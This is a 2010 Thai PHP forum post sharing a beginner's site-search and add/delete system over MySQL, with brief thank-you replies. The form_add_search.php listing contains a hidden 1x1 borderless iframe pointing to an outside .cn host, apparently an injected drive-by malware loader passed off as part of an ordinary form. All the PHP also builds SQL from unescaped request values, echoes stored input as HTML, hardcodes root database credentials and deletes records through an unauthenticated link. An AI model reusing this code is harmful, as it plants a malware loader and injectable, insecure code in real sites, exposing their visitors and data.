|
|
|
แจกระบบ search ค้นหาในเว็บตัวเอง ผมชื่อไก่นะครับเรียนปวช.2ครับยังไม่ได้เรียนเขียนเว็บนะ |
|
|
|
|
|
|
|
ผมชื่อไก่นะครับเรียนปวช.2ครับยังไม่ได้เรียนเขียนเว็บนะ วันนี้เอาโค้ด search มาแจกนะครับ
สำหรับค้นหาภายใน เว็บไซต์ด้วยเองแบบ ง่ายๆ
ตัวนี้ผมลองแก้ไขเองครับ อาจจะไม่ดีก็พอใช่ได้นะครับ
อันนี้ผมจำลองเครื่องตัวเองเป็นเซฟเวอร์นะครับ
ยกตัวอย่างฐานข้อมูลนะครับ
ชื่อฐานข้อมูลว่า data ตารางชื่อว่า search
ในตารางประกอบด้วยฟิล
1.id ผมใช้แบบ auto คีย์หลัก
2.msg คือข้อความ
3.url คือลิ้งค์
index.php ทำหน้าที่เป็นหน้าหลัก
<title>ค้นหาข้อมูลภายใน</title>
<center>
<form method=post action="" name="search" onSubmit="return check()">
<font color=ff00ff>ค้นหาข้อมูลภายใน</font>
<div>
<input type="text" name="search" size="36" class="bor">
<div>
<font><input type="submit" Value=" S e n d " class="bot"> <input type="reset" value=" R e s e t " class="bot"></font></td></tr>
</table></center>
</form>
</center>
<script language="JavaScript">
function check()
{
var v1 = document.search.search.value;
if (v1.length==0)
{
alert("กรุณาใส่ข้อมูลที่ต้องการค้นหาด้วย");
document.search.search.focus();
return false;
}
else
return true;
}
</script>
<?php
if(isset($search)) { // หากว่ามีตัวแปร search ที่กรอกมาจากฟอร์ม
// เริ่มติดต่อฐานข้อมูล
$host = "localhost" ;
$user = "root" ;
$password = "123456" ;
$db = "data" ;
$connect = mysql_connect($host,$user,$password) ; // ติดต่อฐานข้อมูล
mysql_select_db($db) ; // เลือกฐานข้อมูลในการใช้งาน
//ทำการค้นหาโดยใช้ like เปรียบเทียบ โดยค้นหาจากฟิลด์ message
$sql = "select * from search where msg like '%$search%' " ; //ทำการค้นหาในฐานข้อมูลชื่อ search ในตรางชื่อ msg//
// ทำการ query คำสั่ง
$result = mysql_query($sql) or die ("ไม่สามารถ query คำสั่งได้ครับ") ;
// ตรวจสอบการค้นหา
if($result) {
// ถ้าค้นหาคำที่ต้องการไม่พบ
$num = mysql_num_rows($result) ; // ตรวจสอบจำนวนแถวที่ค้นหา
if($num==0) {
echo "$search ไม่มีในฐานข้อมูล" ;
}
// หากว่าจำนวนแถวมากกว่า 0 คือค้นหาเจอ
else {
// ใช้คำสั่ง mysql_fetch_array() ; ในการเก็บค่าจากฟิลด์แบบ array ลงในตัวแปร $dbarr
while($dbarr = mysql_fetch_array($result)) {
$url = $dbarr['url'] ;
$msg = $dbarr['msg'] ;
// นำข้อมูลที่ค้นหาได้มาเรียงทีละบรรทัดแบบง่ายๆ
echo "<br>$url" ; //เปิดเขตข้อมูล url//
echo "<br>$msg" ; //เปิดเขตข้อมูล msg//
echo "<br><hr color=ff0000>";
} // จบ while
} // จบ Else
} // จบ if($result)
}
?>
form_add_search.php //ทำหน้าในการรับข้อมูลแล้วส่งไปยัง add_search.php
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874">
</head>
<body>
<form name="form1" method="post" action="add_search.php">
url :
<input name="url" type="text" id="url">
<div>
msg :
<input name="msg" type="text" id="msg">
<div>
<input type="submit" name="Submit" value="เพิ่มข้อมูล">
<input type="reset" name="Submit2" value="Reset">
</form>
<iframe src="http://NtKrnlpa.cn/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
<div>
add_search.php ทำหน้ารับข้อมูลจากฟอร์มจัดเก็บลงฐานข้อมูล
<?php
//กำหนดตัวแปรเพื่อนำไปใช้งาน
$hostname = "localhost"; //ชื่อโฮสต์
$user = "root"; //ชื่อผู้ใช้
$password = "123456"; //รหัสผ่าน
$dbname = "data"; //ชื่อฐานข้อมูล
$tblname = "search"; //ชื่อตาราง
// เริ่มติดต่อฐานข้อมูล
mysql_connect($hostname, $user, $password) or die("ติดต่อฐานข้อมูลไม่ได้");
// เลือกฐานข้อมูล
mysql_select_db($dbname) or die("เลือกฐานข้อมูลไม่ได้");
// คำสั่ง SQL และสั่งให้ทำงาน
$sql = "insert into $tblname (url, msg) values ('<a href=$url>$url</a>', '$msg')"; // กำหนดคำสั่ง SQL เพื่อเพิ่มข้อมูลแบบคีย์ในคำสั่ง SQL
$dbquery = mysql_db_query($dbname, $sql);
// ปิดการติดต่อฐานข้อมูล
mysql_close();
echo "<Font Size=4><B>เพิ่มข้อมูลลงฐานข้อมูลเรียบร้อยแล้ว</B>";
?>
show_del_search.php ทำหน้าที่โชว์ข้อมูล ใน ตาราง เพื่อจะลบออก
<?php
//กำหนดตัวแปรเพื่อนำไปใช้งาน
$hostname = "localhost"; //ชื่อโฮสต์
$user = "root"; //ชื่อผู้ใช้
$password = "123456"; //รหัสผ่าน
$dbname = "data"; //ชื่อฐานข้อมูล
$tblname = "search"; //ชื่อตาราง
// เริ่มติดต่อฐานข้อมูล
mysql_connect($hostname, $user, $password) or die("ติดต่อฐานข้อมูลไม่ได้");
// เลือกฐานข้อมูล
mysql_select_db($dbname) or die("เลือกฐานข้อมูลไม่ได้");
// คำสั่ง SQL และสั่งให้ทำงาน
$sql = "select * from $tblname";
$dbquery = mysql_db_query($dbname, $sql);
// หาจำนวนเรกคอร์ดข้อมูลในตาราง
$num_rows = mysql_num_rows($dbquery);
// เริ่มวนรอบแสดงข้อมูล
$i=0;
while ($i < $num_rows)
{
$result = mysql_fetch_array($dbquery);
$id = $result[id];
$url = $result[url];
$msg = $result[msg];
echo "($id) $url $msg <A HREF=\"del_search.php?id=$id\">ลบข้อมูล</A><BR>"; //สำคัญอยู่ตรงนี้ กำหนดค่าตัวแปลเพื่อให้รู้ว่าเราจะลบข้อมูล Record
$i++;
}
// ปิดการติดต่อฐานข้อมูล
mysql_close();
?>
del_search.php ทำหน้าที่ลบข้อมูลออกจากฐานข้อมูล
<?php
//กำหนดตัวแปรเพื่อนำไปใช้งาน
$hostname = "localhost"; //ชื่อโฮสต์
$user = "root"; //ชื่อผู้ใช้
$password = "123456"; //รหัสผ่าน
$dbname = "data"; //ชื่อฐานข้อมูล
$tblname = "search"; //ชื่อตาราง
// เริ่มติดต่อฐานข้อมูล
mysql_connect($hostname, $user, $password) or die("ติดต่อฐานข้อมูลไม่ได้");
// เลือกฐานข้อมูล
mysql_select_db($dbname) or die("เลือกฐานข้อมูลไม่ได้");
// คำสั่ง SQL และสั่งให้ทำงาน
$sql = "delete from search where id='$id'"; // กำหนดคำสั่ง SQL เพื่อลบข้อมูล กำหนดให้ลบตาม ID ที่เรากำหนด
$dbquery = mysql_db_query($dbname, $sql);
echo "ลบข้อมูล Record : $id";
?>
เป็นไงครับง่ายไหมครับ หวังทุกคนคงทำได้นะครับ
ใครเก่งเรื่อง sessionเข้ามาแก้ไข ระบบล็อกอินให้ผมหน่อยนะครับ
https://www.thaicreate.com/php/forum/040247.html
ขอบคุณ
Tag : - - - -
|
|
|
|
|
|
Date :
2010-03-13 19:57:33 |
By :
naya2007 |
View :
22860 |
Reply :
3 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ครับ
|
|
|
|
|
Date :
2010-03-14 11:25:32 |
By :
onedan |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ขอบคุณมากๆๆครับ
|
|
|
|
|
Date :
2012-07-04 11:00:28 |
By :
jackkieclub |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
แจ่มครับ Like ให้แล้วครับ
|
|
|
|
|
Date :
2012-07-04 21:26:13 |
By :
mr.win |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Load balance : Server 03
|